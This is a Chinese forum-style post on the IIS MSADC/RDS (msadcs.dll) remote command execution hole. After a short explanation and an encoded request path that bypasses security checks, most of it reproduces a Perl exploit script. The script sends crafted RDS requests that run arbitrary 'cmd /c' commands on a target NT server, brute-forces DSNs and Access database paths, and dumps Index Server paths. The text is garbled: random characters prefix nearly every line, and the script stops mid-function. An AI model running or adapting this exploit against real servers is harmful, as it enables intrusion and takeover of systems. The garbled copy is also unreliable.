IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i?wEd!=w '\B0#z3 涉及程序:
/a,"b8 Microsoft NT server
rEHlo[7^ o|G'vMph 描述:
$^:s)Yv 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
($nQmr;t `T\_Wje( 详细:
bv^wE,+?o 如果你没有时间读详细内容的话,就删除:
'm=TBNQTS c:\Program Files\Common Files\System\Msadc\msadcs.dll
V8nz@ 有关的安全问题就没有了。
CdZ. T/x 6Y`rQ/F 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7Pe<0K)s( !zVjbYWY 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
k"3@G?JY 关于利用ODBC远程漏洞的描述,请参看:
;!S i_b2 a yYl3 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jn
+*G<NJ o 9rZ&Q< 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
mzf~qV^T http://www.microsoft.com/security/bulletins/MS99-025faq.asp mE\)j*Nnv &=*sN` 这里不再论述。
R$h
B9BK +~K)
~ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
)O],$\u ' !2NSv /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3/N~`!zeX 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
IM$ d~C +xAD;A4 IAWs}xIly #将下面这段保存为txt文件,然后: "perl -x 文件名"
k&M~yb XI:+EeM? #!perl
JC`;hY #
2I3H?Lrx!m # MSADC/RDS 'usage' (aka exploit) script
f*:N*cC #
wy^mh.= UX # by rain.forest.puppy
/l$fQ:l #
mG1!~}[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
A>,kmU5 # beta test and find errors!
3kh!dL3D k%8kt4\wn6 use Socket; use Getopt::Std;
M;W&#Fz% getopts("e:vd:h:XR", \%args);
03AQB;. 3s?ZyQy print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2s=zT5 GDs/U1[* if (!defined $args{h} && !defined $args{R}) {
r"7PSJ print qq~
tJ*/5k
& Usage: msadc.pl -h <host> { -d <delay> -X -v }
QE pCU) -h <host> = host you want to scan (ip or domain)
Xgl
%2' -d <seconds> = delay between calls, default 1 second
mhM;`dl -X = dump Index Server path table, if available
+vH#xc\' -v = verbose
R%~~'/2V -e = external dictionary file for step 5
MR: H3 )y6 Or a -R will resume a command session
}O+S}Hbwy :#\jx
~; exit;}
]<ay_w; I?nU+t; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6kMEm)YjT if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?9 W2ax-4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
eoFG$X/PO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
dNCd-ep $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
's5H_ah if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
K47.zu ,<C~DSAyZ if (!defined $args{R}){ $ret = &has_msadc;
[vz2< genn die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?)[=>Kp Sj:c {jyJd print "Please type the NT commandline you want to run (cmd /c assumed):\n"
GY5JPl . "cmd /c ";
xOr"3;^ $in=<STDIN>; chomp $in;
O>I%O^ $command="cmd /c " . $in ;
+3M1^: ?v-!`J>EF# if (defined $args{R}) {&load; exit;}
1FG"Ak}D @\:@_}Z`_} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
PN=5ICT &try_btcustmr;
c,]fw2 s0CDp"uJY print "\nStep 2: Trying to make our own DSN...";
Z%b1B<u$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]ncK M?'O U6o]7j&6 print "\nStep 3: Trying known DSNs...";
1vAJ(O{- &known_dsn;
J0YNzC4 JaR!9GVN7 print "\nStep 4: Trying known .mdbs...";
1D2RhM% &known_mdb;
I~E&::, |Om9(xT if (defined $args{e}){
D><^ 7nr% print "\nStep 5: Trying dictionary of DSN names...";
6-\'
*5r &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ug'^$geM 9
&Ry51 print "Sorry Charley...maybe next time?\n";
-<AGCiLz exit;
dj4a)p|YN @HE?G ##############################################################################
BlM(Q/z U]B-B+- sub sendraw { # ripped and modded from whisker
h#dfhcU> sleep($delay); # it's a DoS on the server! At least on mine...
wzmQRn;s my ($pstr)=@_;
3[?;s}61 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
O2f-{jnTz, die("Socket problems\n");
}jP/XO1f if(connect(S,pack "SnA4x8",2,80,$target)){
GuaF B[4 select(S); $|=1;
({$rb- print $pstr; my @in=<S>;
&os:h]
C select(STDOUT); close(S);
5|`./+Ghk return @in;
pV!WZUfg } else { die("Can't connect...\n"); }}
2|(lKFkQ K@oyvJ$ ##############################################################################
}7K~- [ \%a7ji# sub make_header { # make the HTTP request
snNB;hkj my $msadc=<<EOT
;TK$?hrv*1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*(XGNp[0 User-Agent: ACTIVEDATA
bPkz= ^- Host: $ip
pB]*cd B? Content-Length: $clen
T1 1>&K) Connection: Keep-Alive
Q ~n%c7 3hEbM'L ADCClientVersion:01.06
KdzV^6K<c Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>wFn|7\)s> 'c]Pm,Ls --!ADM!ROX!YOUR!WORLD!
3qDbfO[ Content-Type: application/x-varg
Ls3r( Tf Content-Length: $reqlen
&m]jYvRc Q4Qf/q;U EOT
k'sPA_| ; $msadc=~s/\n/\r\n/g;
_EP~PW#J return $msadc;}
FF7?|V!Q eLV[U ##############################################################################
ytb1h Fs S)'&+HamI sub make_req { # make the RDS request
ELg$tc my ($switch, $p1, $p2)=@_;
sXT8jLIf my $req=""; my $t1, $t2, $query, $dsn;
+tG' \.GA"_y if ($switch==1){ # this is the btcustmr.mdb query
SL\15`[{ $query="Select * from Customers where City=" . make_shell();
fP8bWZ{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
C*11?B[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'$z@40u i[z#5;x+< elsif ($switch==2){ # this is general make table query
U'Y,T$Q $query="create table AZZ (B int, C varchar(10))";
/^gu&xnS $dsn="$p1";}
pX$X8z% F}@]Lq+ elsif ($switch==3){ # this is general exploit table query
fEtBodA) $query="select * from AZZ where C=" . make_shell();
_Kh8
<$h $dsn="$p1";}
mtw{7E IJ:JH=8 elsif ($switch==4){ # attempt to hork file info from index server
V@EyU/VJ $query="select path from scope()";
-zzT:C $dsn="Provider=MSIDXS;";}
2E!Q5 l!j *Uf>Xr& elsif ($switch==5){ # bad query
LY#V)f $query="select";
_?K,Jc8j. $dsn="$p1";}
d69dC*> M6V^ur 1 $t1= make_unicode($query);
dYlVJ_0Zr $t2= make_unicode($dsn);
dl`{:ZR S $req = "\x02\x00\x03\x00";
9A|9:OdG1 $req.= "\x08\x00" . pack ("S1", length($t1));
3;!!`R>e $req.= "\x00\x00" . $t1 ;
MOi1+`kwh $req.= "\x08\x00" . pack ("S1", length($t2));
:2XX~| $req.= "\x00\x00" . $t2 ;
r]aI=w<(f $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
F ^m;xy return $req;}
WA*1_ M!%|IKw ##############################################################################
THgEHR0,}[ uU-1;m#N? sub make_shell { # this makes the shell() statement
afu!.}4Ct return "'|shell(\"$command\")|'";}
|1e//* }KNBqPo4B ##############################################################################
ZqjLZ9?q : &~LPmJ sub make_unicode { # quick little function to convert to unicode
$U)nrni my ($in)=@_; my $out;
}gE^HH' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<7gv<N6BQf return $out;}
"x0KiIoPk ?N@[R]; ##############################################################################
ZG~d<kM&8s 9ESV[ sub rdo_success { # checks for RDO return success (this is kludge)
R:f ,g2 my (@in) = @_; my $base=content_start(@in);
:oiHf: if($in[$base]=~/multipart\/mixed/){
kP^= return 1 if( $in[$base+10]=~/^\x09\x00/ );}
O3#eQs return 0;}
e5'U[bQm I\Cg-&e ##############################################################################
"{2niBx 58eO|c( sub make_dsn { # this makes a DSN for us
~]n=TEJ> my @drives=("c","d","e","f");
1qm*#4x print "\nMaking DSN: ";
"3_GFq foreach $drive (@drives) {
c'5ls7?}O{ print "$drive: ";
!\^W *nQ>l my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
dx$+,R~y "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
CW.T`F . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
!;${2 Q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mrr -jo return 0 if $2 eq "404"; # not found/doesn't exist
mMO]l(a& if($2 eq "200") {
FchO
6O foreach $line (@results) {
Az:A,;~+,! return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8q:#
' } return 0;}
3~Ap1_9 ["<'fq;PJ ##############################################################################
#%V+- b( )HX(-"c sub verify_exists {
lnF{5zc my ($page)=@_;
LyL(~Jc| my @results=sendraw("GET $page HTTP/1.0\n\n");
\BO6.;jA return $results[0];}
+AFBTJ ToD_9i
}6 ##############################################################################
D.ySnYzh 2zuQeFsK sub try_btcustmr {
Yvu?M8aK! my @drives=("c","d","e","f");
I<+:Ho=6 my @dirs=("winnt","winnt35","winnt351","win","windows");
"z_},TCy rFp>A`TJ foreach $dir (@dirs) {
Q^* 33 print "$dir -> "; # fun status so you can see progress
.>LJ(Sx9b foreach $drive (@drives) {
Z'|k M! print "$drive: "; # ditto
dfZ`M^NU $reqlen=length( make_req(1,$drive,$dir) ) - 28;
bL+}n8B $reqlenlen=length( "$reqlen" );
Q\btl/? $clen= 206 + $reqlenlen + $reqlen;
Wr'1Y7z tZu1jBO_Q4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i)$<j!L if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Jje!*?&8X else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
W! J@30 k~,
k@mR ##############################################################################
,ne3uPRu7~ O%px>rdkY sub odbc_error {
jX^_(Kg my (@in)=@_; my $base;
#Jr4LQ@A9 my $base = content_start(@in);
O{Z${TC[ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
;82?ACCP $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9`M7 -{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sa"}9IE*8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\0&F'V return $in[$base+4].$in[$base+5].$in[$base+6];}
MIh\z7gW print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
z<.?8bd print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)lq+Gv[%F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
q1m{G1W
n "b%FkD ##############################################################################
kv;P2:"| 77ztDQDtM sub verbose {
RdNLf my ($in)=@_;
| IS$Om return if !$verbose;
F07X9s44E print STDOUT "\n$in\n";}
IFhS(3YK[ c@J@*.q] ##############################################################################
)ybF@emc ~R50-O sub save {
>`0mn|+ my ($p1, $p2, $p3, $p4)=@_;
HV*;Yt open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&y(%d 7@/ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
bR8`Y(=F9b close OUT;}
NOKU2d4 G yqB!0)
< ##############################################################################
xErb11 ;uzLa%JQ sub load {
E]=>@EX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8(L6I%k* open(IN,"<rds.save") || die("Couldn't open rds.save\n");
8IE^u<H(: @p=<IN>; close(IN);
u(\O@5a $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
-Zp BYX5e_ $target= inet_aton($ip) || die("inet_aton problems");
o^m?w0 \ print "Resuming to $ip ...";
5G$5d:[( $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
g(,^';j if($p[1]==1) {
n|KYcU# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
U.JE \/ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
e6^}XRyf my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
4IvT}Us#+ if (rdo_success(@results)){print "Success!\n";}
n 8
K6m( else { print "failed\n"; verbose(odbc_error(@results));}}
G8!|Lo elsif ($p[1]==3){
E%Ww)P if(run_query("$p[3]")){
II!~"-WH print "Success!\n";} else { print "failed\n"; }}
=G"ney2 elsif ($p[1]==4){
K9y~
e if(run_query($drvst . "$p[3]")){
+w"?q'SnF print "Success!\n"; } else { print "failed\n"; }}
oYt 34@{? exit;}
C\B4Uu6q 1 vtC4` ##############################################################################
8m=O408Q 0m"Ni:KEf sub create_table {
`#vbV/sM my ($in)=@_;
NRgVNE $reqlen=length( make_req(2,$in,"") ) - 28;
{^1'' $reqlenlen=length( "$reqlen" );
AWKJ@&pA9m $clen= 206 + $reqlenlen + $reqlen;
> >KCd my @results=sendraw(make_header() . make_req(2,$in,""));
j#Tl\S!m.I return 1 if rdo_success(@results);
%l6E0[ my $temp= odbc_error(@results); verbose($temp);
/?($W|9+l return 1 if $temp=~/Table 'AZZ' already exists/;
;mvVo-r*q return 0;}
+.OdrvN4) "?<h,Hvi ##############################################################################
c*(^:#"9 0/9]TIc sub known_dsn {
ivyaGAF}+o # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
_x|.\j my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
YPf? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`b%lojT. "banner", "banners", "ads", "ADCDemo", "ADCTest");
1X&jlD? 4 Tw~4b foreach $dSn (@dsns) {
>[;=c0( print ".";
Vu=/<;-N next if (!is_access("DSN=$dSn"));
C,GZ if(create_table("DSN=$dSn")){
t,IOq[Vtk print "$dSn successful\n";
}lT;?|n:h if(run_query("DSN=$dSn")){
.{} 8mFi1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qZ&~&f|>e print "Something's borked. Use verbose next time\n";}}} print "\n";}
i];P!Gm @BF1X.4-+ ##############################################################################
j<k6z |"I)1[7 sub is_access {
yMTO 5~U{ my ($in)=@_;
S(?A3 H $reqlen=length( make_req(5,$in,"") ) - 28;
[[zNAq)" $reqlenlen=length( "$reqlen" );
a^pbBDi
W $clen= 206 + $reqlenlen + $reqlen;
'tvuw\hhL my @results=sendraw(make_header() . make_req(5,$in,""));
,?k1if(0[ my $temp= odbc_error(@results);
0H]{,mVs verbose($temp); return 1 if ($temp=~/Microsoft Access/);
>#k-
~|w return 0;}
^YropzHZ4E &i.sSqSI5 ##############################################################################
!8|}-eFY l`i97P?/W sub run_query {
G\TO]c my ($in)=@_;
2E[7RBFY+\ $reqlen=length( make_req(3,$in,"") ) - 28;
$LFL4Q $reqlenlen=length( "$reqlen" );
%yu =,J j $clen= 206 + $reqlenlen + $reqlen;
u+KZ. n/ my @results=sendraw(make_header() . make_req(3,$in,""));
J9p4\=9 return 1 if rdo_success(@results);
H;l_;c` my $temp= odbc_error(@results); verbose($temp);
-Ou.C7ol return 0;}
2vX $:4 8W?dWj ##############################################################################
7t:tS7{} oPM*VTMA sub known_mdb {
13`Mt1R my @drives=("c","d","e","f","g");
G{E`5KIvm my @dirs=("winnt","winnt35","winnt351","win","windows");
Zd-6_,r my $dir, $drive, $mdb;
2wHbhW[ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V3cKbk7~ nS*Y+Q^9a # this is sparse, because I don't know of many
% hvK;B?Y| my @sysmdbs=( "\\catroot\\icatalog.mdb",
)<:TpMdUk "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%0N
HU`j "\\system32\\certmdb.mdb",
W ';X4e "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
1/2cb-V ,<r&]
eC my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
cgSN:$p(R "\\cfusion\\cfapps\\forums\\forums_.mdb",
<7`zc7c]# "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
FutS "\\cfusion\\cfapps\\security\\realm_.mdb",
Mjy:k|aY" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
T?t/[iuHrj "\\cfusion\\database\\cfexamples.mdb",
.8Bo5)q$a- "\\cfusion\\database\\cfsnippets.mdb",
Zrr)<'!i "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
d%"XsbO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
LzNfMvh "\\cfusion\\brighttiger\\database\\cleam.mdb",
\/o$io,kV "\\cfusion\\database\\smpolicy.mdb",
#c>GjUJ.w "\\cfusion\\database\cypress.mdb",
@XV&^l- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ACdPF_Y] "\\website\\cgi-win\\dbsample.mdb",
h%Nd89// "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
,7]hjf_h "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
A>1$?A8Q ); #these are just
O9(z"c foreach $drive (@drives) {
I}3F'}JV< foreach $dir (@dirs){
\`2'W1O foreach $mdb (@sysmdbs) {
t'l4$}( print ".";
hEQyaDD; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
L2ydyXIsd print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
_y_}/ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
{YzCgf print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
f7lj,GAZ } else { print "Something's borked. Use verbose next time\n"; }}}}}
yXJ25Axb DfD
>hf/ foreach $drive (@drives) {
2!Dz9m3 foreach $mdb (@mdbs) {
E,}{ iqAb print ".";
7|DG1p9C if(create_table($drv . $drive . $dir . $mdb)){
. : Wf>: print "\n" . $drive . $dir . $mdb . " successful\n";
og5VB if(run_query($drv . $drive . $dir . $mdb)){
)hXTgUZa print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Gl1XRNyC } else { print "Something's borked. Use verbose next time\n"; }}}}
6FA+qYSV }
o8 JOpD <$0is:] ##############################################################################
4a+gM._+O b-sN#'TDg sub hork_idx {
Pwl*5/l print "\nAttempting to dump Index Server tables...\n";
'|[V}K5m/f print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
q"u, Tnc; $reqlen=length( make_req(4,"","") ) - 28;
A iM ukd, $reqlenlen=length( "$reqlen" );
i}sAF/ $clen= 206 + $reqlenlen + $reqlen;
fY[Fwjj3 my @results=sendraw2(make_header() . make_req(4,"",""));
1^![8>u" if (rdo_success(@results)){
"w'pIUQ3, my $max=@results; my $c; my %d;
,PTM'O@aU# for($c=19; $c<$max; $c++){
*9^8NY] $results[$c]=~s/\x00//g;
ahg:mlaob $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
6]?mjG6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3' i6<
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
E1eGZ&&Gd $d{"$1$2"}="";}
CO='[1"_5 foreach $c (keys %d){ print "$c\n"; }
tDX&